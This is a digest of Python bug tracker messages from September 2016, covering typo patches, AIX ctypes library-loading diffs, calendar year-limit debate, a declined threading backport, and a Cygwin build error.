https://hg.python.org/cpython/rev/ce19dcce84fe

New changeset 078f185f0041 by Berker Peksag in branch '3.6':
Issue #28300: Merge from 3.5
https://hg.python.org/cpython/rev/078f185f0041

New changeset b1d2e303570d by Berker Peksag in branch 'default':
Issue #28300: Merge from 3.6
https://hg.python.org/cpython/rev/b1d2e303570d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:21:50 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 14:21:50 +0000
Subject: [issue28300] [PATCH] Fix misspelled "implemented" word
In-Reply-To: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>
Message-ID: <1475072510.62.0.124588517667.issue28300@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:24:23 2016
From: report at bugs.python.org (SilentGhost)
Date: Wed, 28 Sep 2016 14:24:23 +0000
Subject: [issue28302] Unpacking numpy array give list
In-Reply-To: <1475071644.11.0.394277975452.issue28302@psf.upfronthosting.co.za>
Message-ID: <1475072663.8.0.625117061961.issue28302@psf.upfronthosting.co.za>


SilentGhost added the comment:

It doesn't matter what you're unpacking, *y will collect the unpacked elements into a list.

----------
components: +Interpreter Core -Regular Expressions
nosy: +SilentGhost
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28302>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:25:41 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 28 Sep 2016 14:25:41 +0000
Subject: [issue28302] Unpacking numpy array give list
In-Reply-To: <1475071644.11.0.394277975452.issue28302@psf.upfronthosting.co.za>
Message-ID: <1475072741.77.0.744172510956.issue28302@psf.upfronthosting.co.za>


R. David Murray added the comment:

Yes, you are unpacking into a list, that's what the * syntax does in this context.  Since the rhs can be a mix of types, there's really no other reasonable meaning for the syntax.  (The same is true for tuples, by the way).

----------
components: +Regular Expressions -Interpreter Core
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28302>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:27:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 14:27:56 +0000
Subject: [issue28303] [PATCH] Fix broken grammar in "pydoc3 unittest"
In-Reply-To: <1475071696.39.0.282852342204.issue28303@psf.upfronthosting.co.za>
Message-ID: <20160928142744.85577.7937.2A506DDC@psf.io>


Roundup Robot added the comment:

New changeset 650775f10178 by Berker Peksag in branch '3.5':
Issue #28303: Fix grammar in unittest.__doc__, patch by Shlomi Fish
https://hg.python.org/cpython/rev/650775f10178

New changeset d0b509777443 by Berker Peksag in branch '3.6':
Issue #28303: Merge from 3.5
https://hg.python.org/cpython/rev/d0b509777443

New changeset 6b59551bb4fe by Berker Peksag in branch 'default':
Issue #28303: Merge from 3.6
https://hg.python.org/cpython/rev/6b59551bb4fe

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28303>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:28:38 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 14:28:38 +0000
Subject: [issue28303] [PATCH] Fix broken grammar in "pydoc3 unittest"
In-Reply-To: <1475071696.39.0.282852342204.issue28303@psf.upfronthosting.co.za>
Message-ID: <1475072918.36.0.918069519074.issue28303@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Good catch, thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> behavior
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28303>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:32:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 28 Sep 2016 14:32:48 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475073168.34.0.82556936175.issue28183@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I reviewed dict_iter4.patch on Rietveld.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:37:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 14:37:26 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <20160928143722.82076.39679.DA2D4159@psf.io>


Roundup Robot added the comment:

New changeset e53984b87cf0 by Berker Peksag in branch '3.6':
Issue #27322: Set sys.path to a temp dir in test_compile_path
https://hg.python.org/cpython/rev/e53984b87cf0

New changeset a78446a65b1d by Berker Peksag in branch 'default':
Issue #27322: Merge from 3.6
https://hg.python.org/cpython/rev/a78446a65b1d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:39:28 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 28 Sep 2016 14:39:28 +0000
Subject: [issue27435] ctypes library loading and AIX - also for 2.7.X (and
 later)
In-Reply-To: <1467383699.63.0.495142233463.issue27435@psf.upfronthosting.co.za>
Message-ID: <1475073568.44.0.800105651379.issue27435@psf.upfronthosting.co.za>


Michael Felt added the comment:

The "core" changes in this patch are very simple - in parallel with the way find_library() is managed in util.py



a) __init__.py:
   add an additional mode bit for call to dlopen() (in __init__.py)
diff -u src/Python-2.7.12/Lib/ctypes/__init__.py python-2.7.12.2/Lib/ctypes/__init__.py
--- src/Python-2.7.12/Lib/ctypes/__init__.py    2016-06-25 21:49:30 +0000
+++ python-2.7.12.2/Lib/ctypes/__init__.py      2016-09-28 12:55:15 +0000
@@ -352,6 +352,16 @@
             flags |= _FUNCFLAG_USE_ERRNO
         if use_last_error:
             flags |= _FUNCFLAG_USE_LASTERROR
+        if _sys.platform.startswith("aix"):
+            """When the name contains ".a(" and ends with ")",
+               asin "libFOO.a(libFOO.so)" this is taken to be an
+               archive(member) syntax for dlopen(), and the mode is adjusted.
+               Otherwise, name is presented to dlopen() as a file argument.
+            """
+            # from _ctypes import RTLD_NOW - not until Python3.7
+            if name and name.endswith(")") and ".a(" in name:
+                RTLD_MEMBER = 0x00040000
+                mode |= RTLD_MEMBER

         class _FuncPtr(_CFuncPtr):
             _flags_ = flags

b) util.py:
   determine that is is not generic posix and call and import
   and execute an external .py file
c) some prettier (optional!) print statements in self-test

diff -u src/Python-2.7.12/Lib/ctypes/util.py python-2.7.12.2/Lib/ctypes/util.py
--- src/Python-2.7.12/Lib/ctypes/util.py        2016-06-25 21:49:30 +0000
+++ python-2.7.12.2/Lib/ctypes/util.py  2016-09-28 08:41:57 +0000
@@ -81,6 +81,14 @@
                 continue
         return None

+if sys.platform.startswith("aix"):
+    # find .so members in .a files
+    # using dump loader header information + sys.
+    import ctypes._aix as aix
+
+    def find_library(name):
+        return aix.find_library(name)
+
 elif os.name == "posix":
     # Andreas Degert's find functions, using gcc, /sbin/ldconfig, objdump
     import re, tempfile, errno
@@ -247,10 +255,11 @@
         print find_library("msvcrt")

     if os.name == "posix":
-        # find and load_version
-        print find_library("m")
-        print find_library("c")
-        print find_library("bz2")
+        # find
+        print("m\t:: %s" % find_library("m"))
+        print("c\t:: %s" % find_library("c"))
+        print("bz2\t:: %s" % find_library("bz2"))
+        print("crypt\t:: %s" % find_library("crypt"))

         # getattr
 ##        print cdll.m
@@ -262,6 +271,12 @@
             print cdll.LoadLibrary("libcrypto.dylib")
             print cdll.LoadLibrary("libSystem.dylib")
             print cdll.LoadLibrary("System.framework/System")
+        elif sys.platform.startswith("aix"):
+            print("crypto\t:: %s" % cdll.LoadLibrary(find_library("crypto")))
+            if (sys.maxsize < 2**32):
+                print("c\t:: %s" % cdll.LoadLibrary("libc.a(shr.o)"))
+            else:
+                print("c\t:: %s" % cdll.LoadLibrary("libc.a(shr_64.o)"))
         else:
             print cdll.LoadLibrary("libm.so")
             print cdll.LoadLibrary("libcrypt.so")


d) in test_loading.py say test is failed if find_library does not find
   at least one library

diff -u src/Python-2.7.12/Lib/ctypes/test/test_loading.py python-2.7.12.2/Lib/ctypes/test/test_loading.py
--- src/Python-2.7.12/Lib/ctypes/test/test_loading.py   2016-06-25 21:49:30 +0000
+++ python-2.7.12.2/Lib/ctypes/test/test_loading.py     2016-09-28 12:43:46 +0000
@@ -11,6 +11,11 @@
     libc_name = "coredll"
 elif sys.platform == "cygwin":
     libc_name = "cygwin1.dll"
+elif sys.platform.startswith("aix"):
+    if (sys.maxsize < 2**32):
+        libc_name = "libc.a(shr.o)"
+    else:
+        libc_name = "libc.a(shr_64.o)"
 else:
     libc_name = find_library("c")

@@ -38,11 +43,16 @@
         self.assertRaises(OSError, cdll.LoadLibrary, self.unknowndll)

     def test_find(self):
+        # to track that at least one call to find_library() found something
+        found = False
         for name in ("c", "m"):
             lib = find_library(name)
             if lib:
+                found = True
                 cdll.LoadLibrary(lib)
                 CDLL(lib)
+        # test is FAILED if nothing was found
+        self.assertTrue(found)

     @unittest.skipUnless(os.name in ("nt", "ce"),
                          'test specific to Windows (NT/CE)')

Finally - there is the additional file: _aix.py - submitted as an attachment - and a patch with them all

----------
Added file: http://bugs.python.org/file44868/Python2.7.Lib.ctypes.160928.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27435>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:40:18 2016
From: report at bugs.python.org (Michael Felt)
Date: Wed, 28 Sep 2016 14:40:18 +0000
Subject: [issue27435] ctypes library loading and AIX - also for 2.7.X (and
 later)
In-Reply-To: <1467383699.63.0.495142233463.issue27435@psf.upfronthosting.co.za>
Message-ID: <1475073618.21.0.484877446157.issue27435@psf.upfronthosting.co.za>


Changes by Michael Felt <aixtools at gmail.com>:


Added file: http://bugs.python.org/file44869/_aix.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27435>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:45:31 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 14:45:31 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1475073931.44.0.247633898021.issue27322@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:57:18 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 28 Sep 2016 14:57:18 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475074638.89.0.842652215759.issue28281@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> Under my proposal year=-1 is 2 B.C. and year 0 is a leap year

We should refuse the temptation to guess (i.e. make up our own arbitrary interpretations).   Instead, just document the known limits.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:05:12 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 15:05:12 +0000
Subject: [issue27565] Offer error context manager for code.interact
In-Reply-To: <1468870264.4.0.689422874662.issue27565@psf.upfronthosting.co.za>
Message-ID: <1475075112.92.0.209034273806.issue27565@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Hi Claudiu, thanks for the report, but I don't think this is a common use case that needs to be supported in the standard library. Other people may prefer to use different solutions in a similar case (e.g. using a debugger) Plus, it's not hard to implement this as a custom context manager in your code.

----------
nosy: +berker.peksag
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27565>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:08:32 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 15:08:32 +0000
Subject: [issue23520] test_os failed (python-3.4.3, Linux SuSE)
In-Reply-To: <1424871003.6.0.446487630162.issue23520@psf.upfronthosting.co.za>
Message-ID: <1475075312.07.0.795479331041.issue23520@psf.upfronthosting.co.za>


Berker Peksag added the comment:

This is a duplicate of issue 11341.

----------
nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> test_os fails

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23520>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:13:41 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 28 Sep 2016 15:13:41 +0000
Subject: [issue28295] PyUnicode_AsUCS4 doc and impl conflict on exception
In-Reply-To: <1475050266.78.0.386373068592.issue28295@psf.upfronthosting.co.za>
Message-ID: <1475075621.96.0.362448348574.issue28295@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Here is the patch.

----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44870/PyUnicode_AsUCS4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28295>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:19:58 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 28 Sep 2016 15:19:58 +0000
Subject: [issue28217] Add interactive console tests
In-Reply-To: <1474393467.21.0.584094770072.issue28217@psf.upfronthosting.co.za>
Message-ID: <1475075998.55.0.671287816359.issue28217@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28217>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:32:48 2016
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 28 Sep 2016 15:32:48 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1475076768.94.0.0777837898171.issue28247@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Only backport if you want; it's not a bug fix so technically it doesn't need to be backported.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:58:50 2016
From: report at bugs.python.org (Adam Roberts)
Date: Wed, 28 Sep 2016 15:58:50 +0000
Subject: [issue28304] Condition.wait() doesn't raise KeyboardInterrupt
Message-ID: <1475078330.68.0.71026474863.issue28304@psf.upfronthosting.co.za>


New submission from Adam Roberts:

This was fixed for Python 3 in https://bugs.python.org/issue8844 but needs to be backported.

----------
components: Library (Lib)
messages: 277639
nosy: Adam Roberts
priority: normal
severity: normal
status: open
title: Condition.wait() doesn't raise KeyboardInterrupt
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28304>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:13:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 28 Sep 2016 16:13:14 +0000
Subject: [issue8844] Condition.wait() doesn't raise KeyboardInterrupt
In-Reply-To: <1275065292.27.0.238026363438.issue8844@psf.upfronthosting.co.za>
Message-ID: <1475079194.0.0.0788570084745.issue8844@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Is it possible to backport this patch to 2.7?

No.

Python 2.7 supports many implementations of threads:

$ ls Python/thread_*h -1
Python/thread_atheos.h
Python/thread_beos.h
Python/thread_cthread.h
Python/thread_foobar.h
Python/thread_lwp.h
Python/thread_nt.h
Python/thread_os2.h
Python/thread_pth.h
Python/thread_pthread.h
Python/thread_sgi.h
Python/thread_solaris.h
Python/thread_wince.h

Supporting signals on all implementations would be a huge work.

Handling correctly signals is also a complex task. For example, the PEP 475 changed how Python 3.5 handles signals (retry interrupted syscall), the change is larger than just the threading module. This PEP has an impact on the whole CPython code base (C and Python).

In Python, unit tests are important. The change b750c45a772c added many unit tests, I expect that it will be tricky to make them reliable on all platforms supported by Python 2.7. I dislike the idea of backporting the feature just for a few platforms.

I mean that the change b750c45a772c alone is not enough, this change depends on many earlier changes used to cleanup/prepare the code to support this change. It is also followed by many changes to enhance how Python handles signals. It took multiple years to fix all subtle issues, race conditions, etc.

There is also a significant risk of breaking applications relying on the current behaviour of Python 2.7 (locks are not interrupted by signals).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8844>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:16:03 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 16:16:03 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475079363.19.0.472129059986.issue28281@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

The proposed interpretation of nonpositive years is not arbitrary, it is a natural extension of the same formulas that we use for positive years.  On the other hand 1-9999 limits are arbitrary.  If we wanted to restrict calendars to 4-digit years we would limit years to the 1000-9999 range.

Note that interpreting year 0 as 1 BCE is not without a precedent.  ISO 8601 standard does exactly that with the caveat that "values in the range [0000] through [1582] shall only be used by mutual agreement of the partners in information interchange." Furthermore, "an expanded year representation [?YYYYY] must have an agreed-upon number of extra year digits beyond the four-digit minimum, and it must be prefixed with a + or ? sign instead of the more common AD/BC (or BCE/CE) notation; by convention 1 BC is labelled +0000, 2 BC is labeled -0001, and so on."  See <https://en.wikipedia.org/wiki/ISO_8601#Years> citing ISO 8601:2004 sections 3.4.2, 4.1.2.4 and Annex B.1.1.

Furthermore, documenting the existing limits is not an easy task.  For example

>>> from calendar import *
>>> cal = TextCalendar(1)
>>> cal.prmonth(1, 1)
     January 1
Tu We Th Fr Sa Su Mo
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31

displays 6 days in December of 1 BCE as blanks.  Similarly itermonthdays() and itermonthdays2() generators yield objects corresponding to these days.  Are these days within the calendar limits or not?

Note that I am not proposing to extend the range of the datetime.date objects.  Doing that would be a much more difficult task, but defining calendars for out of range years as those for year % 400 is trivial and much easier than to figure out and document the edge behaviors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:23:07 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 16:23:07 +0000
Subject: [issue28300] [PATCH] Fix misspelled "implemented" word
In-Reply-To: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>
Message-ID: <1475079787.49.0.426598266205.issue28300@psf.upfronthosting.co.za>


Shlomi Fish added the comment:

You're welcome and thanks for applying it (and so quickl).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:24:21 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 16:24:21 +0000
Subject: [issue28303] [PATCH] Fix broken grammar in "pydoc3 unittest"
In-Reply-To: <1475071696.39.0.282852342204.issue28303@psf.upfronthosting.co.za>
Message-ID: <1475079861.05.0.871567968015.issue28303@psf.upfronthosting.co.za>


Shlomi Fish added the comment:

You're welcome, and thanks for applying the patch so quickly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28303>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:26:28 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 16:26:28 +0000
Subject: [issue28292] Make Calendar.itermonthdates() behave consistently in
 edge cases
In-Reply-To: <1475031718.56.0.220203946513.issue28292@psf.upfronthosting.co.za>
Message-ID: <1475079988.2.0.491598861805.issue28292@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I would like to take the #1 approach, and also implement an itermonthdays3() generator that would be like  itermonthdates(), but return 3-tuples (year, month, day) instead of datetime.date objects.

The name "itermonthdays3" is subject to discussion, but it fits with the existing "itermonthdays" and "itermonthdays2" that yield integers and 2-tuples respectively.  An alternative, but slightly longer name would be "itermonthdatetuples".

itermonthdates() can then be reimplemented as

def itermonthdates(self, year, month):
    for y, m, d in self.itermonthdays3(year, month):
        yield datetime.date(y, m, d)

with the obvious out of bounds behavior.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28292>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:29:27 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 16:29:27 +0000
Subject: [issue12743] C API marshalling doc contains XXX
In-Reply-To: <1313160183.82.0.137409262179.issue12743@psf.upfronthosting.co.za>
Message-ID: <1475080167.02.0.485877520986.issue12743@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44871/issue12743_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12743>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:34:34 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 28 Sep 2016 16:34:34 +0000
Subject: [issue27740] Fix doc of Py_CompileStringExFlags
In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za>
Message-ID: <20160928163428.94922.57380.FD0D0E31@psf.io>


Roundup Robot added the comment:

New changeset ee76e84f115f by Berker Peksag in branch '3.5':
Issue #27740: Fix typo in Py_CompileStringExFlags
https://hg.python.org/cpython/rev/ee76e84f115f

New changeset 2ee939b314a2 by Berker Peksag in branch '3.6':
Issue #27740: Merge from 3.5
https://hg.python.org/cpython/rev/2ee939b314a2

New changeset a0b13ea75849 by Berker Peksag in branch 'default':
Issue #27740: Merge from 3.6
https://hg.python.org/cpython/rev/a0b13ea75849

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27740>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:34:55 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 16:34:55 +0000
Subject: [issue27740] Fix doc of Py_CompileStringExFlags
In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za>
Message-ID: <1475080495.82.0.360867099407.issue27740@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27740>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:38:53 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 16:38:53 +0000
Subject: [issue28304] Condition.wait() doesn't raise KeyboardInterrupt
In-Reply-To: <1475078330.68.0.71026474863.issue28304@psf.upfronthosting.co.za>
Message-ID: <1475080733.25.0.151342665359.issue28304@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Per Victor's comment in issue 8844 (http://bugs.python.org/issue8844#msg277640), I'm closing this as 'wont fix'. Thanks for the report!

----------
nosy: +berker.peksag
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28304>
_______________________________________

From report at bugs.python.org  Wed Sep 28 12:57:52 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 28 Sep 2016 16:57:52 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1475081872.89.0.970777674367.issue27322@psf.upfronthosting.co.za>


Berker Peksag added the comment:

The buildbot is now green. Closing this as fixed.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep 28 13:12:26 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 28 Sep 2016 17:12:26 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1475081872.89.0.970777674367.issue27322@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZmS6PzhsPJ3WShE8oXBmJ+Gp6rGfJtPMxZgNZ+PGdKUQ@mail.gmail.com>


STINNER Victor added the comment:

Thanks for your fix :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep 28 13:35:21 2016
From: report at bugs.python.org (Chris Angelico)
Date: Wed, 28 Sep 2016 17:35:21 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1475084121.25.0.48119263658.issue27322@psf.upfronthosting.co.za>


Chris Angelico added the comment:

Also working for me. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Wed Sep 28 13:36:38 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Wed, 28 Sep 2016 17:36:38 +0000
Subject: [issue26869] unittest longMessage docs
In-Reply-To: <1461743267.94.0.620093650485.issue26869@psf.upfronthosting.co.za>
Message-ID: <1475084198.77.0.147918173779.issue26869@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26869>
_______________________________________

From report at bugs.python.org  Wed Sep 28 13:37:06 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Wed, 28 Sep 2016 17:37:06 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475084226.53.0.568120519427.issue28281@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Wed Sep 28 13:48:18 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 28 Sep 2016 17:48:18 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1475084898.39.0.402394220971.issue28255@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
nosy: +belopolsky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Wed Sep 28 14:31:23 2016
From: report at bugs.python.org (Ron Barak)
Date: Wed, 28 Sep 2016 18:31:23 +0000
Subject: [issue28305] Make error for Python3.6 on Cygwin
Message-ID: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>


New submission from Ron Barak:

Successfully did:

$ gunzip Python-3.6.0b1.tgz
$ tar xvf Python-3.6.0b1.tar
$ pushd Python-3.6.0b1
$ ./configure --disable-ipv6 --with-optimizations

However, when trying to do:

$ make profile-opt

I get:

...

gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -fprofile-generate   -I. -IInclude -I./Include    -DPy_BUILD_CORE  -c ./Modules/signalmodule.c -o Modules/signalmodule.o
In file included from Include/Python.h:85:0,
                 from ./Modules/signalmodule.c:6:
./Modules/signalmodule.c: In function 'fill_siginfo':
./Modules/signalmodule.c:960:60: error: 'siginfo_t {aka struct <anonymous>}' has no member named 'si_band'
     PyStructSequence_SET_ITEM(result, 6, PyLong_FromLong(si->si_band));
                                                            ^
Include/tupleobject.h:62:75: note: in definition of macro 'PyTuple_SET_ITEM'
 #define PyTuple_SET_ITEM(op, i, v) (((PyTupleObject *)(op))->ob_item[i] = v)
                                                                           ^
./Modules/signalmodule.c:960:5: note: in expansion of macro 'PyStructSequence_SET_ITEM'
     PyStructSequence_SET_ITEM(result, 6, PyLong_FromLong(si->si_band));
     ^
make[2]: *** [Makefile:1731: Modules/signalmodule.o] Error 1
make[2]: Leaving directory '/home/Administrator/python/3.6/Python-3.6.0b1'
make[1]: *** [Makefile:511: build_all_generate_profile] Error 2
make[1]: Leaving directory '/home/Administrator/python/3.6/Python-3.6.0b1'
make: *** [Makefile:496: profile-opt] Error 2

----------
components: Build
files: python3.6Make.err.txt
messages: 277650
nosy: ronbarak
priority: normal
severity: normal
status: open
title: Make error for Python3.6 on Cygwin
type: compile error
versions: Python 3.6
Added file: http://bugs.python.org/file44872/python3.6Make.err.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 14:33:20 2016
From: report at bugs.python.org (Leonid Suprun)
Date: Wed, 28 Sep 2016 18:33:20 +0000
Subject: [issue2504] Add gettext.pgettext() and variants support
